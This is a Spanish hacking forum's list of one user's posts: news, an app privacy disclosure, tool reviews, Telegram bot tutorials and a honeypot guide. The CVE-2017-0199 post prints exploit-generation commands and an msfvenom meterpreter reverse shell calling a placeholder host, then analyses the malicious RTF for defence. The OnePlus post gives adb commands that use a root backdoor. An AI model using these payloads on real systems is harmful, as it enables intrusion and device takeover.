Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - blackdrake

#1
Noticias Informáticas / Desmantelan el grupo LockBit
Febrero 21, 2024, 07:07:18 AM

Desde ayer, las fuerzas policiales de diez países han tomado el control de la página web asociada al grupo de ransomware LockBit, como parte de una operación internacional que ha desmantelado parte de su infraestructura.

Conocida como Operación Cronos, esta acción también ha asegurado la plataforma de LockBit y la información que contenía, incluyendo el panel de afiliados, el código fuente de LockBit, las conversaciones y los datos de las víctimas, según informes de Bleeping Computer.

El Operativo Cronos ha revelado dos descubrimientos significativos. En primer lugar, se ha evidenciado que LockBit no siempre eliminaba los datos de las víctimas que pagaban el rescate, una situación particularmente preocupante para las empresas afectadas. En segundo lugar, se han obtenido más de 1.000 claves de descifrado que podrían ayudar a las víctimas a recuperar sus datos sin tener que pagar ningún rescate.

Se dice que el panel web fue comprometido explotando la vulnerabilidad existente en PHP 8.x conocida por el identificador CVE-2023-3824...

Así luce actualmente la web del grupo:



Capturas de pantalla del Panel de Control del grupo de ransomware LockBit:





Enlaces de interés:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Fuente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#2
Hacking / Tu privacidad vibra con CLM Messenger!
Julio 05, 2018, 02:36:17 AM

Hola a todos!

En el día de hoy os traigo junto a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/b]]@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/url] un post sobre el análisis de la versión NO oficial de MSN Messenger para Android disponible desde hace pocos días en la Play Store.

Antes de empezar, si acabas de enterarte del lanzamiento de MSN Messenger para Android, recomendamos la siguiente lectura: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


La idea de este post no es más que concienciar a todos de la importancia de nuestros datos y de que una mala práctica de implementación puede poner en peligro nuestra privacidad.

Sin nada más que añadir... ¡Comencemos!

A través de Twitter llegó a mí una aplicación que se hacía llamar "CLM - Chat Live Messenger" que decía reproducir aquella sensación nostalgia que nos hacía tener Messenger (MSN) de una manera muy similar a la aplicación del 2005.

No soy muy dado a instalar aplicaciones en mi dispositivo actual, sin antes echar un ojo... (Creo que todos aquí tenemos ese tipo de curiosidad con las cosas de vez en cuando ;) )

Empecé por algo sencillo: ¿Qué me proporciona Play Store?


¿Versao Beta? ¿500k descargas? Algo no me cuadraba mucho, pero cuando visité el sitio web que proporcionaba me quedó más claro...


A partir de este punto me decidí a descargarme la apk en mi ordenador y proceder a analizarla.

Una buena fuente de APKs sería Apkpure (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), así que la usaremos en este post.

En este punto una vez identificada nuestra aplicación a analizar podemos partir hacia muchas ramas, dos de ellas comunes podrían ser o centrarnos en la lógica que hay detrás de esta aplicación o simplemente observar como realiza las conexiones nuestro dispositivo con su servidor.

En este post vamos a tratar ambas, para la primera utilizaremos JADX (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) que nos echará una mano en decompilar el archivo .dex de la apk para así poder leer un poco la lógica de la misma. Y para la segunda usaremos algunas aplicaciones tanto en Android como en escritorio, que serán Packet Capture, Postman y cURL.

Pero procedamos primero a analizar la aplicación decompilando sus clases con JADX y leyendolas para ver que encontramos. Para esto me gusta iniciar la decompilación en consola e ir abriendo tranquilarmente en un editor como podría ser Sublime Text o VS Code dichas clases según se van decompilando.

Si recibimos algunos errores durante el proceso de decompilación, no les prestemos atención de momento, mientras no notemos nada extraño durante nuestra investigación, estos errores quedarán reflejados en los archivos que hayan sucedido. (Podéis echarle un ojo al README de Jadx para haceros una idea de como funciona.)


Una vez decompilé la aplicación miré los permisos que requería, no noté nada en especial que no se requeriera en una aplicación de mensajería. Hasta aquí, todo normal. Pero realmente sentía curiosidad de como era la lógica que usaba para conectarse con ese posible "servidor" que habíamos encontrado en Play Store.


Así que realicemos una búsqueda rápida del dominio "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"




Nos encontramos con lo que podrían ser los endpoint de nuestra aplicación, un directorio /app/ y dos puertos, 3000 y 4000. De momento centrémonos en /app/, donde podemos ver nuestro querido "Index of" que deja poco a la imaginación enseñandonos archivos PHP y directorios de "images", curioso de mi cliqué en "images", ni si quiera cargó, olvidé por completo la cantidad de descargas que había obtenido esa aplicación, así que preferí utilizar cURL y cargar toda la web en un fichero para más tarde hacerme una idea de la cantidad de información con la que estaba trabajando.

Código: bash
curl http://msnmessenger.xyz/app/pictures/ > clmdump.html


Tras filtrar solo el nombre de los archivos que se encontraban en ese directorio obtuve un archivo de en torno a 11MB, unos 421365 archivos de imagen a día de 7/06/18, en mi opinión, bastante crítico para tratarse solo de nombres de archivos y su extensión.
No contento con esto, decidí observar un poco más esa "TelaPrincipal" de nuestro análisis, observé que utilizaba uno de los puertos que descubrimos antes para comunicarse con la API de nuestra APK. Más tarde, en una actualización que realizó el desarrollador cambió este puerto por otra dirección IP distinta al dominio que utilizaba, debido a la alta demanda de este.
Sobre este puerto o IP, lanzaba distintas peticiones a su servidor, algunas de ellas podemos encontrarlas definidas en la lógica de la APK haciendo una búsqueda tras analizar como añadía el desarrollador su endpoint en el resto de clases.


En este punto tras ver lo tedioso que sería analizar todas las llamadas a la API y al observar que su servidor no disponía de un certificado, procedí a usar Packet Capture (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) en uno de mis dispositivos para analizar los paquetes enviados al servidor, esta aplicación muestra los paquetes a través de un proxy creado en una VPN que se crea en nuestro dispositivo, este método es muy útil ya que nos permite visualizar directamente el tráfico de paquetes sin necesidad de ser root.


Una vez llegados a este punto, observé que solo era necesario un id de usuario para obtener los mensajes que tenía en espera y que no habían sido almacenados en dispositivo, procedí a divulgarlo así como a avisar a su desarrollador para que lo arreglara lo antes posible tal y como me sugirió Marcos. Además de ello, podíamos obtener el MD5 de la contraseña de los usuarios si estos nos enviaban una petición de amistad...



Pensé que viendo el estado de la aplicación el correo que mostraba el desarrollador en Play Store no sería muy útil si quería que actuase rápidamente. Así que procedí a analizar como agregar un contacto en la aplicación.
Descubrí que se mandaba una petición de amistad y una vez aceptada, nuestra aplicación agregaba al contacto a nuestra lista de amigos con una llamada a la API teniendo en el body el "from" y el "to"; esto me hizo pensar que si mi id de usuario era tan elevada, la del administrador sería una baja. Efectivamente, la id número 2 era la del desarrollador, así que me agregué a su lista de contactos para hablarle y explicarle lo sucedido.


Os dejo una pequeña muestra de lo que pasó.



Llegados a este punto, me gustaría mencionar algunas "features" que tenía esta aplicación (aparte de sacar las contraseñas de los usuarios).


Obteniendo conversaciones a través del ID único de la conversación:


Obtención de todos los emails de los usuarios registrados a través del campo "busca":


Y la mejor, spamear a base de zumbidos, si, podrías replicar esta petición todas las veces que quisieras, provocando que el móvil de la víctima no dejase de vibrar. Para ello simplemente necesitabas ser su amigo (recordamos que podías aceptar la petición de otro) y tener su ID y Token, estos valores eran de fácil acceso a través del buscador o al acceder a una conversación con dicha persona.



Llegados a este punto, ¿Qué creéis que hizo el autor? Pues borrar la aplicación hasta ahí todo bien... Hasta que después de borrarla la subió con otro nombre apuntando a otro dominio y si, añadiendo más funcionalidades y aunque ésta ya no está disponible en la Play Store es 100% funcional si instaláis la APK.


Concretamente la nueva aplicación es la siguiente (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Decompilamos rápidamente el código para visualizar los cambios y el nuevo endpoint, en el propio MainActivity podemos observar las primeras llamadas.


En este caso, el nuevo dominio es: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta además, al acceder a éste nos aparece el siguiente index.


De hecho, obtenemos lo mismo si accedemos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



A simple vista parece que la cosa mejoraba, pero realmente no era así, ya que en lugar de desactivar el Directory Listing simplemente se limitó a subir el index a esos dos directorios, por lo que, las imágenes (entre otros datos) seguían siendo accesibles.


Además, con las nuevas funcionalidades, tenemos más directorios de imágenes, a las imágenes de perfil se suman las imágenes que se envían de forma privada vía conversación y vía grupos.


Por último, pese a que se nos negase el acceso a dichos directorios, seguría siendo viable el acceso a dichas imágenes, ya que el nombre de éstas es simplemente el ID de la imagen (con autoincrement) seguido de un guión bajo y el timestamp de subida, por lo que con una fuerza bruta sencilla deberíamos ser capaces de obtenerlas.


Además, todo esto sin contar que seguían disponibles una gran cantidad de ficheros PHP a nuestra disposición, algunos de ellos subían archivos, otros realizaban consultas a la BBDD, etc... No revisamos la seguridad de éstos en la nueva aplicación, pero no creo que haya mejorado mucho.


Mencionar que algunas vulnerabilidades como un posible File Upload y un SQLi fueron descubiertas durante el análisis de la aplicación, sin embargo,  y como es lógico éstas no fueron explotadas y obviamente, fueron reportadas. Dicho objetivo no es otro que informar de la importancia de nuestra privacidad y de los riegos que corremos en instalar aplicaciones de desconocidos y/o inseguras.


Por último, si habéis llegado hasta aquí, es buen momento para escuchar este audio que la propia aplicación nos facilita: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Esperamos que os haya parecido interesante, y cualquier duda que tengáis no dudéis en preguntarla!

Un saludo.
#3

Hace unas semanas un servicio de sandbox de análisis de malware interactivo llamado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta anunció que por fin estaba abierto al público. Actualmente, cualquier persona puede registrar una cuenta y analizar interactivamente un archivo (ejecutable) en particular en tiempo real.

Any.Run tiene su base en Rusia y fue fundado en 2016 por el investigador de seguridad Alexey Lapshin. Su equipo ahora consta de cinco desarrolladores que trabajan en la mejora de la plataforma.

Lo que hace que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta sea diferente a otras herramientas de análisis (sandbox) es que es completamente interactivo. Eso significa que en lugar de cargar un archivo y esperar a que la aplicación te devuelva el análisis, con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta puedes analizar un archivo y en tiempo real interactuar con la máquina (sandbox) mientras esta analiza el archivo.

Esto permite cargar programas que requieren interacción con el usuario, como por ejemplo documentos maliciosos que requieren que habilite contenido o macros.

Además, puede analizar una gran cantidad de tipos de archivos (todos los archivos ejecutables, archivos Java, documentos de Microsoft Office, archivos PDF, scripts, correos electrónicos, etc.) y los archivos sospechosos se pueden ejecutar en 3 tipos de entornos invitados preinstalados:

Clean – Sin software pre-instalado
Office – Software Instalado Microsoft Office
Complete – Software común(Microsoft Office, browsers, Skype, etc.)


Personalmente, la he probado y es una gran sandbox, proporciona mucha información, con una gran interfaz y manejo de ésta. Además, pronto introducirán planes de pago que la hacen aún más potente, sin duda una gran herramienta para los que analizamos malware.

Planes de Pago:


Web oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
URL para Scannear: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un saludo.
#4
Hacking / MobSF (Mobile Security Framework)
Junio 04, 2018, 11:32:11 AM

MobSF es un entorno completo de análisis que incluye funcionalidad para la realización de pruebas tanto estáticas como dinámicas

La herramienta puede ser utilizada para analizar ejecutables de Android (APK), iOS (IPA) y Windows Mobile (APPX), como también código fuente empaquetado en archivos ZIP. Dentro del alcance de esta publicación, nos centraremos en el análisis estático de un archivo APK.

Bastará con dejar corriendo el servicio, y acceder a él desde su aplicación web, a continuación, subir el fichero y automáticamente empezará a extraerlo y a analizarlo.


MobSF os dará gran cantidad de información, desde información general de la aplicación, pasando por permisos no necesarios/extraños hasta vulnerabilidades.



Además, permite realizar análisis dinámico a la propia aplicación:


Podéis descargarlo y obtener más información desde el repositorio oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un saludo.
#5
Hacking / CrossHead - A HTTP Header Scanner
Abril 01, 2018, 07:56:52 AM
Buenas!

He hecho un script que analiza las cabeceras de un host, las parsea e imprime el resultado de éste, de esta forma de un simple vistazo puedes saber si falta alguna cabecera de seguridad o si hay alguna cabecera "extraña".

El script no tiene mucho misterio, así que no creo que haga falta explicar demasiado.

Link del Script: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Las opciones disponibles son las siguientes:



Para la opción del reporte avanzado hace falta una API KEY, en el código podéis ver la URL y podéis solicitarla (es gratis), esto generará un fichero llamado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con los datos obtenidos. Además, cada análisis que hagáis, se guardará en el fichero de log No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los resultados obtenidos son los siguientes:



Otro ejemplo:


Resultados del Advanced Report (además de lo anterior se genera el md ya mencionado)






Sé que le quedan muchas cabeceras por añadir, y que muchas cosas no son las ideales (como la forma de detectar CMS), es solo un prototipo que hice un día aburrido, tengo otra versión bastante más avanzada pero no acabada, por lo que no la publicaré aún :)
#6
Python / Desarrollando BOTs para Telegram - Parte 2
Abril 01, 2018, 07:09:48 AM

Buenas!

Bienvenidos a la segunda parte de desarrollos de BOTs para Telegram en Python, si no habéis leído la parte uno os lo dejo aquí, pues es obligatoria: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Dicho esto, comezamos!

Es importante mencionar que yo he escogido Python, pero podéis elegir cualquier lenguaje de programación, hay librerías prácticamente en cualquier lenguaje y si no, siempre podéis atacar contra la propia API de telegram, aunque sea más tedioso.

1) Antes de nada, debemos elegir la libreria que vamos a utilizar, yo he utilizado estas dos, y ambas tienen sus pros y sus contras, así que os dejo que trasteéis con ellas y elijáis la que prefiráis (luego veremos ejemplos en cada una de ellas).

En mi caso son pyTelegramBotAPI (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) y python-telegram-bot (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Para su instalación sobra con seguir el readme correspondiente, por lo general sobra con hacer un pip install o un git clone y su correspondiente python setup.


Interactuando con el BOT

A continuación os dejo dos fragmentos de código con los que podréis interactuar con vuestro BOT en Telegram para cada una de las librerías mencionadas anteriormente.

pyTelegramBotAPI
Código: python
import telebot
from telebot import types

bot = telebot.TeleBot("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") #Introducir el token que nos devolvió BOTFather

@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "Hello World Underc0de!")

bot.polling()


El siguiente código hace que el bot permanezca a la espera y si recibe el comando /start o el comando /help entrará en la función send_welcome respondiendo a nuestro mensaje (reply_to message) Hello World Underc0de!


Ahora que ya podemos interactuar con nuestro bot, vamos a establecer un nivel de loggeo, para monitorizar sus actividades.

Para ello simplemente debemos añadir las siguientes líneas.

Código: python
import telebot
from telebot import types
import logging #Importamos loggin

#Establecemos el logeo
logging.basicConfig(filename='log.log',filemode='a',format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO) #Seteado nivel a Informativo, hay varios niveles
logger = telebot.logger
telebot.logger.setLevel(logging.DEBUG) # Debug Mensajes en Consola


bot = telebot.TeleBot("XXXXXXXXXXXXXXXXXXXXXX")

@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "Hello World Underc0de!")

bot.polling()


Con esto, cada vez que el bot recibe un mensaje, lo logueará tanto en el fichero como por consola:


Como se puede ver en la imagen anterior, nos devuelve campos muy interesantes, tales como la persona que ha escrito al bot, el comando enviado, y la respuesta enviada por el bot.

python-telegram-bot
De manera similar a la anterior libreria configuramos el bot.

Código: python

from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import logging
import telegram

#Establecemos el logeo
logging.basicConfig(filename='log.log',filemode='a',format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO)
logger = logging.getLogger(__name__)

#Funcion start
def start(bot, update):
    update.message.reply_text('Hi! Underc0de')
    logger.info("Msg de %s - %s",bot,update) #Loggeamos la informacion


#Funcion main
def main():
    updater = Updater("XXXXXXXXXXXXXXXXXXXXXXXX") #NUESTRO TOKEN

    dp = updater.dispatcher

    #Comandos contemplados
    dp.add_handler(CommandHandler("start", start))

    #Si no tenemos el comando contemplado, lo devolvemos por pantalla
    dp.add_handler(MessageHandler(Filters.text, echo))

    #Loggeamos errores
    dp.add_error_handler(error)

    #Inciamos el bot
    updater.start_polling()

    #Ejecuta el bot hasta que presionemos Ctrl + C o el proceso reciba SIGINT,  SIGTERM o SIGABRT
    updater.idle()


if __name__ == '__main__':
    main()


Como se puede observar, el bot es parecido y la forma de funcionar es la misma.

Ejemplo de funcionamiento:

Ejemplo de loggeo:

¿Y lo bueno de todo esto?

Es que realmente todo corre bajo python, por lo que podemos hacer todo lo que queramos y simplemente que el bot nos devuelva el resultado de la operación vía telegram. Un ejemplo es el siguiente, consulta del buscador del blog a través del bot :)


Un saludo y nos vemos en la próxima :D
#7
Python / Desarrollando BOTs para Telegram - Parte 1
Febrero 01, 2018, 05:17:37 PM

¿Qué es un bot?

A mitad del 2015 Telegram incorporó los bots en su aplicación. Básicamente son pequeños programas que encuentran en servidores y podemos acudir a ellos en cualquier momento para conseguir cualquier tipo de funcionalidad.

O como el propio Telegram dice:

  • Recibe notificaciones y noticias personalizadas. Un bot puede actuar como un periódico inteligente, enviándole contenido relevante tan pronto como se publique.

  • Integrar con otros servicios. Un robot puede enriquecer los chats de Telegram con contenido de servicios externos.


  • Acepte pagos de los usuarios de Telegram. Un bot puede ofrecer servicios pagados o trabajar como una tienda virtual.

  • Crea herramientas personalizadas Un bot puede proporcionarle alertas, pronósticos del tiempo, traducciones, formato u otros servicios.

  • Compila juegos de un solo jugador y multijugador. Un robot puede ofrecer experiencias ricas en HTML5, desde simples arcades y acertijos hasta tiradores 3D y juegos de estrategia en tiempo real.

  • Construye servicios sociales. Un bot podría conectar a las personas que buscan interlocutores basados ​​en intereses comunes o proximidad.

Conclusión, puedes hacer prácticamente cualquier otra cosa!

Más información sobre los BOTs: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Quién puede hacer un bot?

Cualquiera, siempre y cuando tenga los conocimientos suficientes de programación y se anime a hacerlo. Telegram tiene una extensa documentación que nos explica cómo podemos crearlos.


Tipos de bots
Hay dos tipos de bots en Telegram: los bots normales y los llamados "Inline".

Para utilizar los bots normales tenemos que abrir un chat con ellos o incluirlos en el grupo donde queramos utilizarlo.  Pudiendo utilizarlo todas las veces que queramos.

Los Inline Bots están disponible desde principios del año 2016 y la diferencia es en que no necesitamos incluirlos en ninguna grupo para usarlos. Los podemos utilizar en cualquier momento, simplemente tendremos que añadir una arroba con su nombre a la hora de escribir un nuevo mensaje para poder empezar a utilizarlos. Los resultados que nos ofrezcan aparecerán en un menú flotante dentro de la misma conversación y podremos elegir el resultado que más nos guste para mostrar al resto de miembros de dicha conversación.

Un claro ejemplo de los bot inline es el siguiente:


Creación del BOT (Introducción)

Telegram creó hace un par de años una API para la creación de bots con la cual se pueden crear la conexión de manera muy simple, ya que todo se hace a través de HTTP.

Lo primero que debemos hacer es crear un chat con @BotFather e iniciarlo.

Una vez hecho hecho, escribiremos /newbot para comenzar el proceso de creación de nuestro bot.


Acto seguido, nos preguntará es el nombre de nuestro bot.


En segundo lugar nos pedirá el alias, (este debe terminar en bot).


Por último, BotFather nos devolverá el token para utilizar nuestro BOT mediante la API.


Podemos configurar muchas más cosas para nuestro bot, aquí os dejo una lista pero no es lo único que hay, para más información os recomiendo leer la documentación oficial.

/setname - cambia el nombre de tu bot.

/setdescription - cambia la descripción del bot, un texto corto de hasta 512 caracteres, que describe tu bot. Los usuarios verán este texto al comienzo de la conversación con el bot, titulado '¿Qué puede hacer este robot?'.

/setabouttext - cambia la información sobre el bot, un texto aún más corto de hasta 120 caracteres. Los usuarios verán este texto en la página de perfil del robot. Cuando comparten tu bot con alguien, este texto se envía junto con el enlace.

/setuserpic - cambia las imágenes de perfil del bot. Siempre es bueno ponerle cara a un nombre.

/setcommands - cambia la lista de comandos soportados por tu bot. Los usuarios verán estos comandos como sugerencias cuando escriban / en el chat con su bot. Cada comando tiene un nombre (debe comenzar con una barra inclinada '/', caracteres alfanuméricos y subrayados, no más de 32 caracteres, sin mayúsculas y minúsculas), parámetros y una descripción de texto. Los usuarios verán la lista de comandos cada vez que escriban '/' en una conversación con su bot.

/deletebot - borra tu bot y libera su nombre de usuario.

/setinline: activa el modo en línea para tu bot.

/setinlinegeo: solicita datos de ubicación para proporcionar resultados en línea basados ​​en la ubicación.

/setjoingroups - alterna si tu bot se puede agregar a grupos o no. Cualquier bot debe ser capaz de procesar mensajes privados, pero si tu bot no fue diseñado para trabajar en grupos, puedes inhabilitarlo.

/setprivacy: establece qué mensajes recibirá tu bot cuando se agreguen a un grupo. Con el modo de privacidad desactivado, el bot recibirá todos los mensajes. Recomendamos dejar el modo de privacidad habilitado.

Para que un BOT pueda enviar mensajes a un usuario, éste deberá haberlo iniciado anteriormente, para ello, accedemos a nuestro bot buscándolo por su nombre (con @ delante) o bien utilizando el link que BotFather nos ha proporcionado (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)



Finalmente nuestro bot luce así.


Y hasta aquí la primera parte, en unos días publicaré la segunda parte donde aprenderemos a interactuar con nuestro BOT.

Un saludo.

#8
Hacking / CVE-2017-0199 - Análisis y Generación
Enero 28, 2018, 06:42:55 AM
Hola a todos!

Hoy os traigo un aporte sobre el CVE-2017-0199, ésta es una vulnerabilidad de ejecución de código arbitrario en Microsoft Office que se manifiesta debido a un manejo incorrecto de los archivos de formato de texto enriquecido (RTF).


Por lo general se ha detectado el ataques en mensajes de correo electrónico donde la víctima abre un documento específicamente diseñado para explotar la vulnerabilidad. Es importante mencionar que esta vulnerabilidad continúa siendo explotada activamente.



Ataque


En este caso empezaremos por el principio, la creación del documento, se puede crear de forma manual, pero a día de hoy existen generadores para ahorrar tiempo, por lo que en este caso lo utilizaremos así, yo he usado este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta aunque podéis utilizar el que vosotros queráis.

Primero generamos el RTF.

Código: bash
python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc



Generamos el meterpreter (OPCIONAL)

Código: bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"


Iniciamos la tool en modo exploit
Código: bash
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe



El gráfico actual de ataque sería el siguiente:


Aunque también podemos utilizarlo en modo remoto de la siguiente forma.


Al abrir nuestro documento nos aparecerá el siguiente error, si la víctima pulsa "Si" nuestro servidor recibirá la petición y recibiremos nuestra sesión de meterpreter





Defensa


Ahora que ya tenemos nuestro documento, es hora del análisis, para ello utilizaremos una tool desarrollada en python llamada rtfdump, utilizaremos esta herramienta para sacar la URL verdadera y llegar a la conclusión de si el fichero RTF es seguro o no.

En primer lugar abriremos nuestro documento a través de la rtfdump.
Código: bash
python rtfdump.py  underc0de.rtf



Como nos devuelve mucha información, cerraremos el cerco buscando únicamente los objetos OLE 1.0 que tiene nuestro documento.
Código: bash
python rtfdump.py -f O underc0de.rtf


Obtenemos un único objeto con el índice 10.



Hacemos una búsqueda más exhaustiva de nuestro índice.

Código: bash
python rtfdump.py -s 10  underc0de.rtf | more



En este volcado hexadecimal / ascii, podemos ver que el texto comienza con 01050000 02000000, lo que significa que es un objeto OLE 1.0. Además detectamos el string d0cf11e0, suponiendo que contiene un archivo OLE.

Con la opición -H, convertiremos los caracteres hexadecimales a binario:

Código: bash
python rtfdump.py -s 10  -H underc0de.rtf | more



Obtenemos el string OLE2Link, a la que se ha hecho referencia. Con la opción -i, podemos obtener más información sobre el objeto incrustado:

Código: bash
python rtfdump.py -s 10 -H -i underc0de.rtf



Ahora que estamos seguros de que es un fichero OLE incrustado utilizamos -E para extraerlo.

Código: bash
python rtfdump.py -s 10 -H -E underc0de.rtf



Para analizar este fichero, utilizaremos oledump (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), oledump necesita el modulo olefile, por lo que si no lo tenéis, deberéis instalarlo antes (pip install -U olefile)

Utilizando -d y un pipeline, le pasaremos el fichero extraído a oledump.

Código: bash
python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py



Obtenemos 3 resultados, vamos a echarle un vistazo al primero mediante el siguiente comando.

Código: bash
python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1


Y finalmente obtenemos la URL del documento infectado.


Espero que os haya gustado,

Un saludo.
#9
Hacking / [TOOL] Underc0de Dorker
Noviembre 14, 2017, 04:45:36 PM
Hola a todos!

El otro día encontré una tool que tenía en VB perdida por el disco duro (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), así que la importé a C# y la terminé, básicamente es un asistente para generar dorks, tengo un par de ideas en mente, así que cuando tenga tiempo las desarrollaré y subiré la versión finalizada :D

Mientras tanto, las críticas constructivas e ideas son bien recibidas :)

Aquí os dejo el enlace a Mega y a VirusTotal para los desconfiados.


Mega: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
VirusTotal: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un saludo,
Blackdrake
#10

En estas últimas horas un desarrollador (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) ha descubierto que una de las aplicaciones instaladas por defecto en los teléfonos OnePlus puede actuar como backdoor y es capaz de obtener permisos de root en los OnePlus 3, 3T y 5.

Según el usuario de Twitter Elliot Alderson, la aplicación, incluida en todos los teléfonos de la compañía con OxygenOS en su interior, no solo es capaz de diagnosticar problemas en el GPS, verificar si el teléfono está rooteado o realizar pruebas automatizadas, sino que también puede obtener permisos de root en el dispositivo si se ejecuta una actividad concreta.

Tal y como se puede comprobar en uno de sus tweets: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Dicha herramienta recibe el nombre de EngineerMode y se puede visualizar si activamos la opción "Mostrar Aplicaciones del Sistema" en nuestro teléfono:


Acto seguido, la buscamos por su nombre pudiendo acceder a más información:


Llegados a este punto y habiendo confirmado que tenemos la aplicación, vamos a iniciar el rooteo del dispositivo, para ello, descargamos adb y activamos el modo depuración en el teléfono:



Si queremos ejecutar la aplicación basta con ejecutar el siguiente comando vía adb shell:

Código: text
adb shell am start http://com.android .engineeringmode/.EngineeringMode




Además y para verificar que funciona el backdoor, comprobamos los permisos actuales del dispositivo:


Para rootear el dispositivo debemos invocar el Indent mediante el siguiente comando:

Código: text
adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"



Si, la contraseña es angela y es que, la ficción supera a la realidad en algunos casos y Mr. Robot lo acaba de demostrar (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

En estos momentos se reiniciará la shell, desconectamos el cable, lo volvemos a conectar y accedemos de nuevo al dispositivo vía adb shell, comprobamos el usuario y... ROOT!


Nota: Pese a tener acceso root vía shell no he conseguido que las aplicaciones reconozcan dichos privilegios:



Nota2: Podéis deshabilitar el backdoor de la siguiente manera:

1) Modificando los permisos de la app:


2) Desactivándola:

Código: text
pm disable com.android.engineeringmode


3) Desinstalándola:

Código: text
pm uninstall -k --user 0 com.android.engineeringmode



Si alguien quiere obtener más información, recomiendo que lea el hilo oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un saludo.

Blackdrake

#11
Antes de comenzar, debemos empezar por lo básico, ¿qué es un honeypot?  La función de un honeypot consiste en atraer y analizar los ataques recibidos. Es importante tener claro, que nuestro sistema simulará una vulnerabilidad (o varias) para obtener información del atacante y obviamente, lo que buscamos, es, que para el atacante esto sea indetectable.

Como es lógico, hay bastantes honeypots que son open source, además, los hay que integran varios servicios y algunos que no, por ejemplo, uno puede emular sólo SSH y otro SSH y TELNET etc...

Entendido este concepto, quiero dejar claro que en cada entrada, voy a explicar paso por paso como desplegar un honeypot (open source)  de los muchos que hay disponibles en internet.

Si queréis obtener más información sobre los honeypots, os recomiendo leer nuestra entrada en hacking de 0: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


¿Qué es Kippo?

Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería. Kippo permite emular servicios de Secure Shell (SSH).

Desplegando Kippo

Puesto a que Kippo emulará SSH, lo primero que tenemos que hacer, será cambiar de puerto nuestro SSH, ya que, lo suyo, es que Kippo apunte al 22 (puerto por defecto), donde gran cantidad de bots atacarán, sin si quiera detectar, el real.

Para ello, editaremos el fichero de configuración alojado en /etc/ssh/sshd_config


Yo he elegido el Puerto 55, pero vosotros podéis escoger otro.



Reiniciamos el servicio SSH para que comience a escuchar en el puerto que queremos.


Instalamos las dependencias necesarias para ejecutar Kippo:


Código: bash
apt-get install python-dev openssl python-openssl python-pyasn1 python-twisted


Crearemos un usuario sin privilegios para ejecutar Kippo:


Código: bash
useradd -d /home/kippo -s /bin/bash -m kippo


Descargamos kippo del repositorio oficial de github:


En mi caso, voy a comenzar a configurarlo desde el fichero de "backup" que nos viene por defecto, para ello, renombramos kippo.cfg.dist por kippo.cfg


A continuación, explico los valores más importantes que debéis tener en cuenta a la hora de configurar kippo:


  • ssh_addr: Es el segmento de red en la que kippo escuchará conexiones entrantes siendo 0.0.0.0 todas.
  • ssh_port: Puerto a la escucha, por defecto es 2222, pero puesto a que el puerto del SSH es 22, escogí este para aumentar los ataques recibidos.
  • hostname: El nombre del host para cuando el atacante consiga acceder. Es recomendable que sea un nombre algo creíble.
  • download_path: Directorio donde se guardarán todos los ficheros descargados por el atacante. Siendo por defecto el directorio dl.
  • Ejemplo real de ficheros almacenados en el directorio:

  • filesystem_file: Una de las partes más interesantes a la hora de engañar al atacante, ya que esta opción se encarga de definir el sistema de ficheros entero (directorios, permisos...). Podemos editarlo manualmente a nuestro gusto desde el script que hay en utils/fsctl.py

